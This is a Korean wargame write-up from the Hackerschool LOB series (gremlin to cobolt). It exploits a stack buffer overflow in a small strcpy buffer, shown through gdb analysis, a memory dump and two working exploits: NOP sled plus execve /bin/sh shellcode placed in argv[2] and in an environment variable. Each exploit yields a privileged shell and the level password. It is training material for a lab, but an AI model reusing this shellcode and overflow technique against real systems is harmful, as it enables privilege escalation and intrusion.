본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( gremlin -> cobolt ) by ORANG

LOB_gremlin

 

 [gremlin@localhost gremlin]$ bash2

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

 

bash2 띄워주고~ 소스를 보겠습니다!! 힌트는 small buffer 군요

buffer의 사이즈가 16밖에 안되네요ㅠㅠ

음.. 환경변수를 이용한 방법이나..

argv로 받는 문자열 개수에 제한이 없으므로 argv[2]를 인자로 전달한 후에 argv[2]의 주소를 찾아 RET의 주소를 덮어 써주는 방법을 생각해보겠습니다. 환경변수를 이용한 방법은 킵해두고 2번째 방법으로 시도해보겠습니다ㅎㅎ

 

복사본을 만든후, 분석 + 메모리 구조를 그려보겠습니다.

 (gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %esp,%ebp

0x8048433 <main+3>: sub    $0x10,%esp

0x8048436 <main+6>: cmpl   $0x1,0x8(%ebp)

0x804843a <main+10>: jg     0x8048453 <main+35>

0x804843c <main+12>: push   $0x80484d0

0x8048441 <main+17>: call   0x8048350 <printf>

0x8048446 <main+22>: add    $0x4,%esp

0x8048449 <main+25>: push   $0x0

0x804844b <main+27>: call   0x8048360 <exit>

0x8048450 <main+32>: add    $0x4,%esp

0x8048453 <main+35>: mov    0xc(%ebp),%eax

0x8048456 <main+38>: add    $0x4,%eax

0x8048459 <main+41>: mov    (%eax),%edx

0x804845b <main+43>: push   %edx

0x804845c <main+44>: lea    0xfffffff0(%ebp),%eax

0x804845f <main+47>: push   %eax

0x8048460 <main+48>: call   0x8048370 <strcpy>

0x8048465 <main+53>: add    $0x8,%esp

0x8048468 <main+56>: lea    0xfffffff0(%ebp),%eax

0x804846b <main+59>: push   %eax

0x804846c <main+60>: push   $0x80484dc

0x8048471 <main+65>: call   0x8048350 <printf>

0x8048476 <main+70>: add    $0x8,%esp

0x8048479 <main+73>: leave

0x804847a <main+74>: ret

main+3을 보니 0x10(16바이트)의 메모리를 확보하는 게 보입니다!

dummy 같은건 없군요 ㅎㅎ 메모리구조는 단순하겠네요

 

argv[2]

argv[1]

argv[0]

argc [4]

RET [4]

SFP [4]

buffer [16]

 

argv 인자는 프로그램 시작과 동시에 전달되므로, main+3에 브레이크 포인트를 걸어주고, argv[2]의 주소를 찾아보겠습니다

(gdb) b * main+3

Breakpoint 1 at 0x8048433

(gdb) r `perl -e 'print "\x90"x20,"BBBB"'` `perl -e 'print "A"x241'`

Starting program: /home/gremlin/tmp/./cobolt `perl -e 'print "\x90"x20,"BBBB"'` `perl -e 'print "A"x241'`


Breakpoint 1, 0x8048433 in main ()

(gdb) x/200x $esp

0xbffff9b8: 0xbffff9d8 0x400309cb 0x00000003 0xbffffa04

0xbffff9c8: 0xbffffa14 0x40013868 0x00000003 0x08048380

0xbffff9d8: 0x00000000 0x080483a1 0x08048430 0x00000003

0xbffff9e8: 0xbffffa04 0x080482e0 0x080484ac 0x4000ae60

0xbffff9f8: 0xbffff9fc 0x40013e90 0x00000003 0xbffffafd

0xbffffa08: 0xbffffb18 0xbffffb31 0x00000000 0xbffffc23

0xbffffa18: 0xbffffc45 0xbffffc4f 0xbffffc5d 0xbffffc7c

0xbffffa28: 0xbffffc8c 0xbffffca9 0xbffffcc8 0xbffffcd9

0xbffffa38: 0xbffffce7 0xbffffd37 0xbffffd4c 0xbffffd5f

0xbffffa48: 0xbffffd74 0xbffffd84 0xbffffd91 0xbffffdb0

0xbffffa58: 0xbffffde4 0xbffffdef 0xbffffe00 0xbffffe16

0xbffffa68: 0xbffffe1e 0x00000000 0x00000003 0x08048034

0xbffffa78: 0x00000004 0x00000020 0x00000005 0x00000006

0xbffffa88: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffa98: 0x00000008 0x00000000 0x00000009 0x08048380

0xbffffaa8: 0x0000000b 0x000001f5 0x0000000c 0x000001f5

0xbffffab8: 0x0000000d 0x000001f5 0x0000000e 0x000001f5

0xbffffac8: 0x00000010 0x1f8bfbff 0x0000000f 0xbffffaf8

0xbffffad8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffae8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffaf8: 0x36383669 0x6f682f00 0x672f656d 0x6c6d6572

0xbffffb08: 0x742f6e69 0x2e2f706d 0x626f632f 0x00746c6f

0xbffffb18: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb28: 0x90909090 0x42424242 0x41414100 0x41414141

0xbffffb38: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb48: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb58: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb68: 0x41414141 0x41414141 0x41414141 0x41414141

…생략… 

\x90으로 표시된 부분들이 buffer+SFP부분, BBBB부분(0x42424242)가 RET를 덮어써야할 주소가 들어갈 부분입니다

argv[2]의 시작 주소는 0xbffffb31이 되겠네요

nop을 넣어주고 넉넉하게~ 0xbffffb58쯤으로 공격해보겠습니다ㅎㅎ

 

 [gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "A"x20, "\x58\xfb\xff\xbf"'` `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAX????

                         bash$

bash$ id

uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin)

bash$ my-pass

euid = 502

hacking exposed

 

ㅎㅎ 성공했습니다!! 랜덤스택이 없는 레드햇 6.2 환경은.. 천국이네요!!

 

환경변수를 이용한 방법은.. 쉽지만 시간이 남았으니까 간단히 시도해보겠습니다!!

메모리 분석을 통해 buffer(16) + SFP(4) + RET(4) 라는 것을 찾아냈으니 환경변수 주소로 RET의 주소를 덮어주면 되겠네요!!

 

 [gremlin@localhost tmp]$ export ORANG=`perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[gremlin@localhost tmp]$ echo $ORANG

1육1????????F??1??h//shh/bin??S????

                                   ??

[gremlin@localhost tmp]$ echo 'int main(void) { printf("ORANG ADDR : 0x%x\n", getenv("ORANG"));}' > getenv.c

[gremlin@localhost tmp]$ gcc getenv.c -o getenv[gremlin@localhost tmp]$ ./getenv

ORANG ADDR : 0xbffffd5f

ORANG 환경변수가 제대로 올라간게 보이네요ㅎㅎ 주소는 0xbffffd5f 입니다.

buffer+ SFP 20바이트를 쓰레기값으로 채운후, RET의 주소를 환경변수 주소로 덮어 쓰겠습니다!

[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "A"x20, "\x5f\xfd\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAA_????

                         bash$

bash$ id

uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin)

bash$ my-pass

euid = 502

hacking exposed